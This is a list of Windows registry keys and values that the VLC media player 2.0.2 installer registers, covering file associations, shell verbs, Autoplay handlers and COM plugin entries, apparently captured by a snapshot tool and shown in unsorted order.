[HKCR\VLC.vlc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.xm]
"(Default)" = "VLC.xm"

[HKCR\VLC.mod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aifc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U" = "VLC.m3u"

[HKCR\VLC.caf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp]
"(Default)" = "VLC media file (.sdp)"

[HKCR\VLC.qcp\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".snd" = ""

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".f4v" = ""

[HKCR\VLC.3g2]
"(Default)" = "VLC media file (.3g2)"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.divx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.au]
"(Default)" = "VLC.au"

[HKCR\Applications\vlc.exe\SupportedTypes]
".FLAC" = ""

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vob]
"(Default)" = "VLC.vob"

[HKCR\VLC.mpa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mod]
"(Default)" = "VLC media file (.mod)"

[HKCR\VLC.rmi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell]
"(Default)" = "Open"

[HKCR\.mpeg]
"(Default)" = "VLC.mpeg"

[HKCR\VLC.mpeg1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3g2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vro" = ""

[HKCR\.pls]
"(Default)" = "VLC.pls"

[HKCR\VLC.divx]
"(Default)" = "VLC media file (.divx)"

[HKCR\VLC.drc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vro\shell]
"(Default)" = "Open"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vlc" = ""

[HKCR\VLC.avi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa]
"(Default)" = "VLC media file (.xa)"

[HKCR\VLC.xspf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.divx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.bin\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u8\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.cda\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.m4v\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vqf\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".SPX" = "VLC.spx"

[HKCR\VLC.m4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.pls\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"Publisher" = "VideoLAN"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XSPF" = ""

[HKCR\VLC.rmvb\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.aiff\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.nsv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp2v]
"(Default)" = "VLC.mp2v"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeProgID" = "VLC.DVDMovie"

[HKCR\.wv]
"(Default)" = "VLC.wv"

[HKCR\VLC.mp4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aif" = "VLC.aif"

[HKCR\VLC.aob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell]
"(Default)" = "Open"

[HKCR\VLC.webm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wmv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vlc" = "VLC.vlc"

[HKCR\VLC.3gp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mlp]
"(Default)" = "VLC media file (.mlp)"

[HKCR\VLC.adts]
"(Default)" = "VLC media file (.adts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wma" = "VLC.wma"

[HKCR\VLC.rmvb\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gpp" = "VLC.3gpp"
".ts" = "VLC.ts"

[HKCR\VLC.rec\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ifo" = "VLC.ifo"

[HKCR\VLC.cue]
"(Default)" = "VLC media file (.cue)"

[HKCR\VLC.webm\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoCDMovieOnArrival]
"VLCPlayVCDMovieOnArrival" = ""

[HKCR\VLC.mid\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dts" = ""

[HKCR\VLC.vob\shell]
"(Default)" = "Open"

[HKCR\.m1v]
"(Default)" = "VLC.m1v"

[HKCR\VLC.dv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".669" = "VLC.669"
".divx" = "VLC.divx"

[HKCR\VLC.wv]
"(Default)" = "VLC media file (.wv)"

[HKCR\VLC.ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.s3m]
"(Default)" = "VLC.s3m"

[HKCR\.it]
"(Default)" = "VLC.it"

[HKCR\VLC.mid\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u8\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2v" = "VLC.m2v"
".m2t" = "VLC.m2t"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Version" = "2.0.2"

[HKCR\VLC.ogv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.mov\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cda\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mka\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.snd\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.m4v]
"(Default)" = "VLC.m4v"

[HKCR\VLC.w64\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob]
"(Default)" = "VLC media file (.aob)"

[HKCR\VLC.snd\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm\shell\Open]
"(Default)" = "Play"

[HKCR\.tts]
"(Default)" = "VLC.tts"

[HKCR\VLC.mpeg1]
"(Default)" = "VLC media file (.mpeg1)"

[HKCR\VLC.mov]
"(Default)" = "VLC media file (.mov)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Action" = "Play audio DVD"

[HKCR\VLC.vro\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.sdp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg" = "VLC.mpeg"

[HKCR\.xspf]
"(Default)" = "VLC.xspf"

[HKCR\VLC.bin\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.b4s\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".qcp" = "VLC.qcp"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg2\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.tts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669]
"(Default)" = "VLC media file (.669)"

[HKCR\VLC.bin]
"(Default)" = "VLC media file (.bin)"

[HKCR\VLC.flv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.aob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mts]
"(Default)" = "VLC.mts"

[HKCR\VLC.adts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".gxf" = "VLC.gxf"

[HKCR\VLC.vro]
"(Default)" = "VLC media file (.vro)"

[HKCR\VLC.aifc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amr\shell]
"(Default)" = "Open"

[HKCR\.asx]
"(Default)" = "VLC.asx"

[HKCR\.b4s]
"(Default)" = "VLC.b4s"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mpeg4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vqf" = ""

[HKCR\VLC.w64\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.3ga]
"(Default)" = "VLC media file (.3ga)"

[HKCR\VLC.mpg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.wma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.caf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.nuv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\shell]
"(Default)" = "Open"

[HKCR\VLC.wma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.divx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XSPF" = "VLC.xspf"

[HKCR\VLC.ape]
"(Default)" = "VLC media file (.ape)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".RMI" = "VLC.rmi"

[HKCR\VLC.a52]
"(Default)" = "VLC media file (.a52)"

[HKCR\VLC.vqf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CDA" = "VLC.cda"

[HKCR\VLC.dv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rm\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell]
"(Default)" = "Open"

[HKCR\VLC.3gpp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.tod\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amr\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp" = "VLC.3gp"

[HKCR\VLC.mp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tts" = ""

[HKCR\VLC.669\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.amv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adts" = "VLC.adts"

[HKCR\VLC.oga\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.spx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.it\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".TTA" = ""

[HKCR\VLC.mpg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mka\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3g2" = "VLC.3g2"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.m4p\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\MiscStatus\1]
"(Default)" = "131473"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3ga" = "VLC.3ga"

[HKCR\VLC.it\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.cda\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.flv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4a\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4]
"(Default)" = "VLC media file (.mpeg4)"

[HKCR\VLC.mpeg1\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cue\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Product" = "VLC media player"

[HKCR\VLC.ogx\shell\Open]
"(Default)" = "Play"

[HKCR\.adts]
"(Default)" = "VLC.adts"

[HKCR\VLC.mxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\VLC.xa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VideoLAN.VLCPlugin.2]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp2" = ""

[HKCR\VLC.rec\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell]
"(Default)" = "Open"

[HKCR\VLC.mts\shell]
"(Default)" = "Open"

[HKCR\.bin]
"(Default)" = "VLC.bin"

[HKCR\VLC.m2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.tts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.bin\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rm\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gpp" = ""

[HKCR\VLC.amv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.dts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpa\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell]
"(Default)" = "Open"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpv2" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationName" = "VLC media player"

[HKCR\VLC.nuv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mts" = "VLC.mts"
".mtv" = "VLC.mtv"

[HKCR\Applications\vlc.exe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aif" = ""

[HKCR\VLC.669\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.a52]
"(Default)" = "VLC.a52"

[HKCR\VLC.mod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ts]
